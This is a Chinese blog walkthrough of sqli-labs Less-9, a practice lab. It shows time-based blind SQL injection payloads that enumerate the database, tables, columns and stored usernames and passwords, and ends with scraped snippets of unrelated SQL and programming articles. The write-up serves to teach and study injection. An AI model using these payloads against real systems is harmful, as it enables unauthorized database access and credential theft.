sqli-labs less9详解

2023-10-29

【❤作者简介:研究生在读 IT女; 如果文章有错请指正,让我们一起学习,天天向上,一起进步! 如果对你有帮助,还请点赞收藏哦~❤】
在这里插入图片描述
【写在前面:建议:如果对SQL注入中SQL语句不熟悉的可以先看看SQL盲注-你需要知道的常用sql函数和语句 如果看懂了这篇,这题就当应用了】
1.判断闭合条件
2.猜数据名长度和名字
3.猜表名长度和名字
4.猜字段长度和名字
5.猜数值长度和名字

1.判断闭合条件

注入 ?id=1’ and sleep(5) 发现明显延迟5秒
在这里插入图片描述
而注入?id=1” and sleep(5) 未发现延迟
在这里插入图片描述
说明闭合是'而不是"

2.猜数据名长度和名字

注入?id=1' and sleep(if((length(database())>4),5,0)) --+ 显示延迟5秒,说明数据库名长大于4
在这里插入图片描述

注入?id=1' and sleep(if((length(database())<7),5,0)) --+ ,显示无延迟,这说明数据库名长>=7
在这里插入图片描述

注入

?id=1' and sleep(if((length(database())=8),5,0)) --+

显示延迟5秒,说明数据库名长度为8。
在这里插入图片描述
确定数据库名字

id=1' and if(ascii(substr(database(),1,1))>140,sleep(5),1) -- +

在这里插入图片描述

id=1' and if(ascii(substr(database(),1,1))>100,sleep(5),1) -- +

在这里插入图片描述

通过以上两张图可以确定数据库名第一个字符的ASCII值在110-140,然后利用二分法慢慢确定第一个字符的ASCII值为115(即‘s’)
输入

?id=1' and sleep(if((mid(database(),1,1)='s'),5,0)) --+  

验证一下
在这里插入图片描述
得到数据库名的第一个字母为‘s’,同理,可以利用ASCII码值进行二分法求得数据库名为‘security’。

3.猜表名长度和名字

输入:

?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),1)--+

在这里插入图片描述

延时5秒,得到表名第一位为‘e’

输入

?id=1' and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,6)='emails',sleep(5),1)--+ 

在这里插入图片描述

,验证得到表名为‘emails’

同理,得到第二个数据表的第一位是 r,…依次类推,得到 referers … 再以此类推,我们可以得到所有的数据表 emails,referers,uagents,users。
当我们猜出第3个表叫‘users’,可以通过下面这句话验证一下:

?id=1' and if(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,6)='users',sleep(5),1)--+ 

在这里插入图片描述

4.猜字段长度和名字

输入

?id=1' and if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i',sleep(5),1)-- -

在这里插入图片描述

确定users表的第一个字段的第一位是‘i’

?id=1' and if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),2,1)='d',sleep(5),1)-- -

确定users表的第一个字段的第一位是‘d’
同理,求得字段分别为‘id’,‘username’,‘password’

?id=1' and if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1),1,8)='password',sleep(5),1)-- -

在这里插入图片描述

确定users表的第三列是‘password’

5.猜数值长度和名字

确定数值

?id=1' and if(ascii(substr((select username from users limit 0,1), 1,1))=68,sleep(5),1)--+

在这里插入图片描述

确定users的第一列的第一个数值的第一位为‘D’(‘D’的ASCII码值为68),同理得到users的第一行的username为Dumb,password为 Dumb,第二行的username为 Angelina ,password为I-kill-you。
在这里插入图片描述

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

sqli-labs less9详解 的相关文章

  • 使用联接更新表?

    我正在尝试使用表 B 中的数据更新表 A 我以为我可以做这样的事情 update A set A DISCOUNT 3 from INVOICE ITEMS A join ITEM PRICE QUNTITY B on A ITEM PRI
  • Snowflake 中的动态 SQL

    当我在雪花中运行动态 SQL 时 遇到以下错误 未完成对 SQL MAIN 的分配 因为值超出了变量的大小限制 它的大小是263 限制为 256 内部存储大小以字节为单位 这是代码 SET v G 1 SET v G1 v G VARCHA
  • 将两个表合并为一个输出

    假设我有两张表 已知营业时间 ChargeNum CategoryID Month Hours 111111 1 2 1 09 10 111111 1 3 1 09 30 111111 1 4 1 09 50 222222 1 3 1 09
  • SQL 使用另一列的键和最大值设置列

    我需要根据同一 ID 的 duration 列的最大值更新 max register 列 将值设置为 1 其他值设置为 0 初始表 Id duration max register 1 0 0 1 7 0 1 3 0 2 10 0 2 5
  • 使用来自另一个数据库的选择查询更新 mysql 表

    我有两个数据库 我想用另一个数据库表中的值更新一个表 我正在使用以下查询 但它不起作用 UPDATE database1 table1 SET field2 database2 table1 field2 WHERE database1 t
  • 插入记录后如何从SQL Server获取Identity值

    我在数据库中添加一条记录identity价值 我想在插入后获取身份值 我不想通过存储过程来做到这一点 这是我的代码 SQLString INSERT INTO myTable SQLString Cal1 Cal2 Cal3 Cal4 SQ
  • Oracle:按月分区表

    我的解决方案 德语几个月 PARTITION BY LIST to char GEBURTSDATUM Month PARTITION p1 VALUES JANUAR PARTITION p2 VALUES Februar PARTITI
  • 从 call_log 中获取最大并发通话数

    我需要帮助在 MySQL 5 0 77 中编写一个查询 根据下面所示的数据 办公室一天的通话量 返回并发电话呼叫的峰值数量 我只是想知道一天中任何特定时间同时打电话的人数最多是多少 首先 这是 MySQL 表 CREATE TABLE ca
  • ORA-12728: 正则表达式中的范围无效

    我想检查表中是否插入了有效的电话号码 所以我的触发代码在这里 select start index into mob index from gmarg mobile operators where START INDEX substr ne
  • postgresql 不同的不工作

    我使用以下代码从数据库获取值 但是当我编写这段代码时 测试看看问题出在哪里 我注意到查询没有从数据库中获取不同的值 这是查询 select distinct ca id as id acc name as accName pIsu name
  • 处理与不同相关实体的一对多的正确模式

    我有一个 C 项目 我使用实体框架作为 ORM 我有一个User 可以向多家银行付款 每家银行都是一个独立的实体 并且每家银行都由不同的字段描述 问题是 一User可以没有或有很多不同的Banks 我不太确定如何对此进行建模 临时解决方案是
  • Ruby ActiveRecord 和 sql 元组支持

    ActiveRecord 是否支持 where 子句中的元组 假设底层数据库支持 结果 where 子句看起来像这样 where name address in John 123 Main St I tried Person where n
  • MySQL“列计数与第 1 行的值计数不匹配”是什么意思

    这是我收到的消息 ER WRONG VALUE COUNT ON ROW 列计数与第 1 行的值计数不匹配 这是我的全部代码 我的错误在哪里 DROP TABLE student CREATE TABLE employee emp id I
  • 是否可以从子查询中获取多个值?

    有没有办法让子查询在oracle db中返回多列 我知道这个特定的sql会导致错误 但它很好地总结了我想要的 select a x select b y b z from b where b v a v from a 我想要这样的结果 a
  • 具有不同组合的产品和产品包的数据库模型

    您将如何设计数据库来实现此功能 考虑一个场景 我们想要创建一个产品关系 封装 假设我们创建一个产品表 prod id prod name prod fee 1 prepaid A 19 usd 2 prepaid B 29 usd 3 pr
  • 查看Jasper报告执行的SQL

    运行 Jasper 报表 其中 SQL 嵌入到报表文件 jrxml 中 时 是否可以看到执行的 SQL 理想情况下 我还想查看替换每个 P 占位符的值 Cheers Don JasperReports 使用 Jakarta Commons
  • mysql 不带空字符串和 NULL 的不同值

    如何检索没有空字符串值和NULL值的mysql不同值 SELECT DISTINCT CON EMAILADDRESS AS E MAIL FROM STUDENT INNER JOIN CONTACT CON ON STUDENT CON
  • 消息 203,级别 16,状态 2,不是有效标识符

    我收到以下错误 消息 203 级别 16 状态 2 过程 getQuestion 第 18 行名称 select top 1 from tlb Question inner join tlb options on tlb options q
  • 随着时间的推移累积(不重叠)——技术?

    我正在尝试找到一种更好的方法来制作水晶报告 其他人的 按组添加不重叠的时间 这显然是一个古老的问题 有没有一种技术可以得到 调整每条记录的 开始 结束 时间 以消除共同 重叠时间 亚组内 使用直接 SQL 尽管我发现我可以执行 CTE 假设
  • hive - 在值范围之间将一行拆分为多行

    我在下面有一张表 想按从开始列到结束列的范围拆分行 即 id 和 value 应该对开始和结束之间的每个值重复 包括两者 id value start end 1 5 1 4 2 8 5 9 所需输出 id value current

随机推荐

  • 【嵌入式学习——知识点总结】Make工程管理

    1 头文件的书写 刚开始要注意一个格式 条件编译 作用 防止头文件被重复包含 假设头文件叫main h 格式如下 ifndef MAIN H define MAIN H 1 其他头文件 2 宏的定义 3 枚举的定义 4 结构体的定义 5 共
  • 【QT 基础教程 十一】QWidget类详解

    概要 本期主要介绍Qt中QWidget类 以及它的常用属性和接口 一 简介 1 头文件 include
  • 深入理解Java虚拟机jvm-引用解释、四种对象引用(强引用、软引用、弱引用、虚引用)

    引用解释 四种对象引用 强引用 软引用 弱引用 虚引用 强引用 强引用是最传统的 引用 的定义 是指在程序代码之中普遍存在的引用赋值 即类似 Object obj new Object 这种引用关系 无论任何情况下 只要强引用关系还存在 垃
  • WEB-INF目录下登录表单提交的重定向

    问题描述 登陆表单提交跳转后刷新会重新提交表单 但是使用重定向时不走视图解析器 不能访问WEB INF下的资源 解决方法 原方法 RequestMapping value login method RequestMethod POST pu
  • (附源码)php积极心理学交流网站 毕业设计 100623

    摘要 心理测试在我国兴起还是近几年的事 由于对心理健康认识不足 观念陈旧 一些人虽然有心理问题或有心理疾病症状 但却想不到或不敢去心理测试 因为他们中有些人是不知道自己的这些问题是应该找心理医生呢还是找生理医生 而另一些人认为看心理医生不光
  • Restful风格

    REST 指的是一组架构约束条件和原则 满足这些约束条件和原则的应用程序或设计就是 RESTful 可以理解为 接口地址都是一样的 通过方法来对接口进行操作 和REST样式架构对应的是RPC样式的架构 客户端获取的只是资源的表述 是资源在外
  • 2023华为OD机试真题Java实现【匿名信/自定义排序】

    题目描述 电视剧 分界线 里面有一个片段 男主为了向警察透露案件细节 且不暴露自己 于是将报刊上的字减下来 剪拼成匿名信 现在有一名举报人 希望借鉴这种手段 使用英文报刊完成举报操作 但为了增加文章的混淆度 只需满足每个单词中字母数量一致即
  • 高频电路和低频电路以及电容选择

    高频电路和低频电路是根据工作频率不同而分类的两种电路类型 高频电路 是指在高频段 通常在几十千赫兹到几百千赫兹甚至更高频率范围内 工作的电子电路 在高频电路中 电信号的频率高 周期短 因此电路的设计和分析需要考虑到高频效应的影响 高频电路的
  • [Tomcat] Coyote连接器框架源码分析

    转载于 http www cnblogs com techsnake archive 2013 01 10 tomcat coyote connector code analysis html Coyote是Tomcat的HTTP Conn
  • DNS用的是TCP还是UDP

    DNS在区域传输的时候使用TCP协议 域名解析时用UDP协议 区域传输时用TCP 辅域名服务器会定时向主域名服务器进行查询 以便了解数据是否有变动 如有变动 会执行一次区域传送 进行数据同步 可靠连接 保证了数据的准确性 一般同步时 数据量
  • Matlab设置网格线密度(坐标精度)

    1 不精确 set gca XMinorTick on 这样的话知识x轴显示了细的密度 网格线并没有变 2 精确 set gca xtick 1 0 1 1 set gca ytick 1 0 1 1
  • 蓝桥杯2022年第十三届省赛真题-最优清零方案

    include
  • Package xx is missing dependencies for the following libraries: libjson-c.so.2

    openwrt编译出错 Package xxx is missing dependencies for the following libraries libjson c so 2 在某个package的程序 添加了json c库的代码 在
  • DFRobot智能视觉传感器二哈识图(Huskylens)的应用

    二哈识图 HuskyLens 是国内著名开源硬件商DFRobot在人工智能领域出品的一款简单易用的智能视觉传感器 其板载的UART I2C端口 可以与主流控制器Arduino micro bit LattePanda Raspberry P
  • 【SpringMVC】SpringMVC和Spring集成

    文章目录 SpringMVC和Spring集成 首先目录结构如下 1 配置web xml
  • c语言——字符串相关的连接与应用

    1 字符数组 1 输入输出 s 2 字符数组初始化 字符串 char ch hello 2 字符串处理函数 1 函数原型 函数返回值 函数名 形参1类型 形参1 形参2类型 形参2 说明 实参必须有确定的值 并且个数与形参保持一致 类型和形
  • 22届哈工大深圳计算机854考研经验贴、过程总结贴(初试 353 复试 304 上岸哈工大深圳)

    目录 个人情况 数学 个人认为实力较强 江苏高考数学180 大一工数上下均90分以上 参加过数学竞赛 获得省一等奖 英语 较弱 就是那种音标不会 语法不会 单词不会的那种 高考勉强及格 大学英语均刚60分飘过 英语六级三次才过 479分 专
  • VTK-Windows源码编译生成VTK库

    VTK主要用于三维计算机图形学 图像处理和可视化 安装步骤如下 0 前置条件 我本地已经安装了VS 2019和CMAKE 3 20 5 下载源码 https vtk org download latest 这里我下的是8 2 0版本 解压后
  • 新买的服务器无法访问宝塔默认8888端口

    问题描述 刚买的服务器无法访问8888端口 宝塔登录面板 一 找到网络与域名下的防火墙管理规则 二 点击添加规则 三 输入端口号8888 四 添加成功后即可访问宝塔登录面板
  • sqli-labs less9详解

    作者简介 研究生在读 IT女 如果文章有错请指正 让我们一起学习 天天向上 一起进步 如果对你有帮助 还请点赞收藏哦 写在前面 建议 如果对SQL注入中SQL语句不熟悉的可以先看看SQL盲注 你需要知道的常用sql函数和语句 如果看懂了这篇